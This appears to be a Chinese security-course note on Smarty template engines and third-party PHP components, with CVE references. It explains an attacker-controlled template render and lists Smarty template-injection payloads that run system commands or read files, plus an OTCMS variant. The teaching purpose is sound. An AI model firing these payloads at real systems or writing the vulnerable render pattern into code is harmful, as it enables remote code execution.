PHP应用-组件框架&前端模版渲染&三方插件&富文本编辑器&CVE审计(2024小迪安全DAY30笔记)

文章目录

模板引擎

在开始介绍Smarty之前先了解一下模板引擎,模板引擎是为了让前端界(html)与程序代码(php)分离而产生的一种解决方案,简单来说就是html文件里再也不用写php代码了。Smarty的原理是变量替换原则,我们只需在html文件写好Smarty的标签即可,例{name},然后调用Smarty的方法传递变量参数即可。

使用配置&方法

1、创建一个文件夹,命名为smarty-demo。

2、下载Smarty对应版本并解压缩到该文件夹中。

3、创建一个PHP文件,命名为demo.php,并在文件中添加以下代码:

php 复制代码
<?php
// 引入 Smarty 类文件
require('smarty-demo/libs/Smarty.class.php');
// 创建 Smarty 实例
$smarty = new Smarty;
// 设置 Smarty 相关属性
$smarty->template_dir = 'smarty-demo/templates/';
$smarty->compile_dir = 'smarty-demo/templates_c/';
$smarty->cache_dir = 'smarty-demo/cache/';
$smarty->config_dir = 'smarty-demo/configs/';
// 赋值变量到模板中
$smarty->assign('title', '欢迎使用 Smarty');
// 显示模板
$smarty->display('index.tpl');
?>

4、创建一个名为index.tpl的模板文件,并将以下代码复制到上述点定义文件夹中

html 复制代码
<!DOCTYPE html>
<html>
<head>
<title>{$title}</title>
</head>
<body>
<h1>{$title}</h1>
<p>这是一个使用 Smarty 的例子。</p>
</body>
</html>

渲染文件受控

漏洞利用:

php 复制代码
// 显示模板
$smarty->display('index.tpl');
//受控的渲染页面文件
$smarty->display($_GET['page']);

黑盒思路:

判断网站的url有没有这种写法x.php?page= /url= index.tpl index.html

白盒思路:

1、使用smarty模版引擎

2、版本存在已知的CVE漏洞

3、可控的渲染文件或变量

CVE参考:

https://xz.aliyun.com/t/11108

https://www.cnblogs.com/magic-zero/p/8351974.html

POC:

*/phpinfo();//

string:{include file='C:/Windows/win.ini'}

string:{function name='x(){};system(whoami);function '}{/function}

string:{$smarty.template_object->smarty->_getSmartyObj()->display('string:{system(whoami)}')}

eval:{math equation='("\163\171\163\164\145\155")("\167\150\157\141\155\151")'}

执行过程:

1、攻击者输入POC

POC 的目的就是把攻击者控制的字符串 构造成 Smarty 能当作"模板源(resource)"来编译 的形式(常用前缀是 string: / eval:),使引擎把该字符串写成 templates_c 下的 PHP 编译文件并在后续请求中执行它,从而把"用户输入"变成了"服务器端可执行代码"。

2、Smarty的渲染接口接收到string:.../eval:...等,会把参数当作模板源字符串 来处理,而不是简单的文件路径。

--- 关键:如果应用允许用户控制参数并且引擎会把其当作模板源读取,就把"用户输入"直接变成了可编译的模板内容。

3、编译成PHP文件

4、PHP 执行编译文件

案例一:代码审计CMS:(由第三方应用引用导致安全问题)

网钛(OTCMS):

这个平台更新到了最高版本,但也没有修复这个漏洞的原因是漏洞产生在后台,必须有后台权限才有可能触发这个漏洞。如果是这个模板加上可控变量而且不用任何权限就可以执行,那么就是高危

POC:

{otcms:$smarty.template_object->smarty->_getSmartyObj()->display('string:{otcms:system(calc)}')}

注意:POC格式一定要按照可识别的格式编写

执行结果:网站首页弹出计算器

插件组件(引用的第三方功能组件)

编辑器,邮箱,图片处理等(看DAY30笔记)

目的是知道网站的某些功能可能依赖第三方组件 ------ 如果识别出这些组件及其版本,就能去查对应版本是否存在已知漏洞(例如某个被引用的"编译器"组件本身有漏洞

使用:

https://www.cnblogs.com/qq350760546/p/6669112.html

参考:

https://www.cnblogs.com/linglinglingling/p/18040866

https://blog.csdn.net/weixin_58099903/article/details/125810825

白盒思路:看手册,学习这个组件的使用方法

黑盒思路:看特征、看功能、识别语言是不是PHP

案例二:编译器漏洞

-Kindeditor:https://www.cnblogs.com/TaoLeonis/p/14899198.html

相关推荐
冠希陈、5 分钟前
PHP 判断是否是移动端,更新鸿蒙系统
android·开发语言·php
天人合一peng14 分钟前
Unity中button 和toggle监听事件函数有无参数
前端·unity·游戏引擎
枷锁—sha22 分钟前
【SRC】越权漏洞检测
运维·服务器·网络·安全·网络安全·系统安全
方也_arkling1 小时前
别名路径联想提示。@/统一文件路径的配置
前端·javascript
毕设源码-朱学姐1 小时前
【开题答辩全过程】以 基于web教师继续教育系统的设计与实现为例,包含答辩的问题和答案
前端
188号安全攻城狮1 小时前
【PWN】HappyNewYearCTF_8_ret2csu
linux·汇编·安全·网络安全·系统安全
web打印社区1 小时前
web-print-pdf:突破浏览器限制,实现专业级Web静默打印
前端·javascript·vue.js·electron·html
啥都想学点2 小时前
kali 基础介绍(Command and Control、Exfiltration)
安全·网络安全
RFCEO2 小时前
前端编程 课程十三、:CSS核心基础1:CSS选择器
前端·css·css基础选择器详细教程·css类选择器使用方法·css类选择器命名规范·css后代选择器·精准选中嵌套元素
Amumu121382 小时前
Vuex介绍
前端·javascript·vue.js